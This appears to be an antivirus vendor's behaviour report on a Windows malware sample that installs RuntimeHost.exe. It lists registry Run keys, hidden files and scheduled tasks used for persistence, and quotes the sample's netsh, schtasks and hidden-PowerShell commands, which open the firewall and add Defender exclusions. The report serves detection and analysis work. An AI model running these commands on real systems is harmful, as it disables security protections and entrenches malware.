Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [HKLM\Software\Microsoft\Windows\CurrentVersion\Run] 'WinSysCache' = '%ALLUSERSPROFILE%\Microsoft\Windows\Caches\FD9A54E7\RuntimeHost.exe'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'WinSysCache' = '%ALLUSERSPROFILE%\Microsoft\Windows\Caches\FD9A54E7\RuntimeHost.exe'
Creates or modifies the following files
- <SYSTEM32>\tasks\windows system health
- <SYSTEM32>\tasks\windows system health monitor
- <SYSTEM32>\tasks\windows system health check
- %APPDATA%\microsoft\windows\start menu\programs\startup\runtimehost.lnk
Sets the following service settings
- [HKLM\SYSTEM\CurrentControlSet\Services\IKEEXT] 'Start' = '00000002'
Malicious functions
To bypass firewall, removes or modifies the following registry keys
- [HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'DisableNotifications' = '00000001'
- [HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile] 'DisableNotifications' = '00000001'
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Defender
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath @('C:\','%ALLUSERSPROFILE%\Microsoft\Windows\Caches\FD9A54E7\','%ALLUSERSPROFILE...
Executes the following
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="WindowsPerf-In" dir=in action=allow enable=yes profile=any
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="WindowsPerf-Out" dir=out action=allow enable=yes profile=any
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="RuntimeCache" dir=in action=allow remoteip=127.0.0.1 enable=yes profile=any
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="RuntimeCache-v6" dir=in action=allow remoteip=::1 enable=yes profile=any
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="InstallUtil" dir=in action=allow program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe" enable=yes profile=any
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="InstallUtil" dir=out action=allow program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe" enable=yes profile=any
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="RegAsm" dir=in action=allow program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe" enable=yes profile=any
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="RegAsm" dir=out action=allow program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe" enable=yes profile=any
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="RegSvcs" dir=in action=allow program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe" enable=yes profile=any
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="RegSvcs" dir=out action=allow program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe" enable=yes profile=any
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="MSBuild" dir=in action=allow program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" enable=yes profile=any
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="MSBuild" dir=out action=allow program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" enable=yes profile=any
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="AppLaunch" dir=in action=allow program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe" enable=yes profile=any
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="AppLaunch" dir=out action=allow program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe" enable=yes profile=any
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="AddInProcess" dir=in action=allow program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe" enable=yes profile=any
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="AddInProcess" dir=out action=allow program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe" enable=yes profile=any
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="aspnet_compiler" dir=in action=allow program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe" enable=yes profile=any
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="aspnet_compiler" dir=out action=allow program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe" enable=yes profile=any
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="SecurityHealthHost" dir=in action=allow program="<SYSTEM32>\SecurityHealthHost.exe" enable=yes profile=any
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="SecurityHealthHost" dir=out action=allow program="<SYSTEM32>\SecurityHealthHost.exe" enable=yes profile=any
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="RuntimeHost" dir=in action=allow program="%ALLUSERSPROFILE%\Microsoft\Windows\Caches\FD9A54E7\RuntimeHost.exe" enable=yes profile=any
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="RuntimeHost" dir=out action=allow program="%ALLUSERSPROFILE%\Microsoft\Windows\Caches\FD9A54E7\RuntimeHost.exe" enable=yes profile=any
Terminates or attempts to terminate
the following system processes:
- <SYSTEM32>\windowspowershell\v1.0\powershell.exe
Modifies file system
Creates the following files
- %ALLUSERSPROFILE%\microsoft\windows\caches\fd9a54e7\runtimehost.exe
Sets the 'hidden' attribute to the following files
- %ALLUSERSPROFILE%\microsoft\windows\caches\fd9a54e7\runtimehost.exe
- %APPDATA%\microsoft\windows\start menu\programs\startup\runtimehost.lnk
Miscellaneous
Executes the following
- '<SYSTEM32>\schtasks.exe' /create /tn "Windows System Health" /tr "%ALLUSERSPROFILE%\Microsoft\Windows\Caches\FD9A54E7\RuntimeHost.exe" /sc onlogon /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "Windows System Health Monitor" /tr "%ALLUSERSPROFILE%\Microsoft\Windows\Caches\FD9A54E7\RuntimeHost.exe" /sc onstart /delay 0001:00 /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "Windows System Health Check" /tr "%ALLUSERSPROFILE%\Microsoft\Windows\Caches\FD9A54E7\RuntimeHost.exe" /sc minute /mo 5 /rl HIGHEST /f
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$p='HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications';if(!(Test-Path $p)){New-It...
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="WindowsPerf-In" dir=in
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="WindowsPerf-Out" dir=out
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="RuntimeCache" dir=in
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="RuntimeCache-v6" dir=in
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="InstallUtil" dir=in program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="InstallUtil" dir=out program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="RegAsm" dir=in program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe"
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="RegAsm" dir=out program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe"
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="RegSvcs" dir=in program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe"
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="RegSvcs" dir=out program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe"
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="MSBuild" dir=in program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="MSBuild" dir=out program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="AppLaunch" dir=in program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe"
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="AppLaunch" dir=out program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe"
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="AddInProcess" dir=in program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe"
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="AddInProcess" dir=out program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe"
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="aspnet_compiler" dir=in program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe"
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="aspnet_compiler" dir=out program="%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe"
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="SecurityHealthHost" dir=in program="<SYSTEM32>\SecurityHealthHost.exe"
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="SecurityHealthHost" dir=out program="<SYSTEM32>\SecurityHealthHost.exe"
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="RuntimeHost" dir=in program="%ALLUSERSPROFILE%\Microsoft\Windows\Caches\FD9A54E7\RuntimeHost.exe"
- '<SYSTEM32>\netsh.exe' advfirewall firewall delete rule name="RuntimeHost" dir=out program="%ALLUSERSPROFILE%\Microsoft\Windows\Caches\FD9A54E7\RuntimeHost.exe"
- '%WINDIR%\microsoft.net\framework\v4.0.30319\installutil.exe'
